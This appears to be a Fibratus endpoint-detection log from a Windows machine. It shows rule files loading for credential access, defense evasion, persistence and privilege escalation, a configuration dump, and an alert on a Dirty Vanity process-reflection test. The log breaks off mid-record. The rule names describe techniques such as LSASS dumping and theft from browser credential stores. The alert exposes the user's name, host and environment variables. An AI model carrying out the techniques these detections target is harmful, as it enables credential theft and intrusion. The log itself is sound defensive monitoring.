+time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-05T20:55:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_activity_from_reflected_process.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_child_spawned_from_reflected_process.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-05T20:58:44+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-05T20:58:44+01:00 level=info msg=bootstrapping with pid 18200. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-05T20:58:45+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html to=>[] enabled=>false port=>25 use-template=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-fileio=>true min-buffers=>16 enable-registry=>true enable-vamap=>true enable-audit-api=>true enable-threadpool=>false enable-mem=>false enable-image=>true buffer-size=>512 flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-thread=>true stack-enrichment=>true enable-dns=>false enable-handle=>false enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-backups=>15 max-size=>100 log-stdout=>true max-age=>0 level=>info] + output ......................... [ elasticsearch=>[ bulk-workers=>1 enabled=>false index-name=>fibratus healthcheck-interval=>10s gzip-compression=>false healthcheck=>true trace-log=>false flush-period=>1s sniff=>false healthcheck-timeout=>5s timeout=>5s servers=>[http://127.0.0.1:9200] template-name=>fibratus] amqp=>[ delivery-mode=>transient vhost=>/ timeout=>5s durable=>false url=>amqp://localhost:5672 exchange-type=>topic routing-key=>fibratus enabled=>false passive=>false tls-insecure-skip-verify=>false exchange=>fibratus] http=>[ serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[] method=>POST timeout=>5s enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-files=>false skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] excluded-files=>[] skip-registry=>false enabled=>false scan-timeout=>10s skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-05T20:58:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-05T20:58:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-05T20:59:41+01:00 level=info msg=sending alert: [Suspicious child spawned from a reflected process]. Text: Event(s): + Seq: 137920 + Pid: 14332 + Tid: 14580 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-05 20:59:40.9185402 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe" , directory_table_base➜ 27fafe000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffd28b7c8850c0, name➜ cmd.exe, pid➜ 320, ppid➜ 14332, real_ppid➜ 14332, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-05 20:59:40.9184275 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 13477585044239286272, rule.name: Suspicious child spawned from a reflected process, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 14332 + Ppid: 8228 + Name: cmd.exe + Parent name: explorer.exe + Cmdline: "C:\WINDOWS\system32\cmd.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\system32\cmd.exe + Cwd: C:\Users\nedo\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\cmd.exe"] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8228_1262719628:1 EFC_8228_1592913036:1 EFC_8228_2283032206:1 EFC_8228_2775293581:1 EFC_8228_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 138012 + Pid: 320 + Tid: 2848 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-05 20:59:40.9324602 +0100 CET + Params: cmdline➜ \??\C:\Windows\System32\cmd.exe /k msg * Hello from Dirty Vanity, directory_table_base➜ 36f75e000, domain➜ 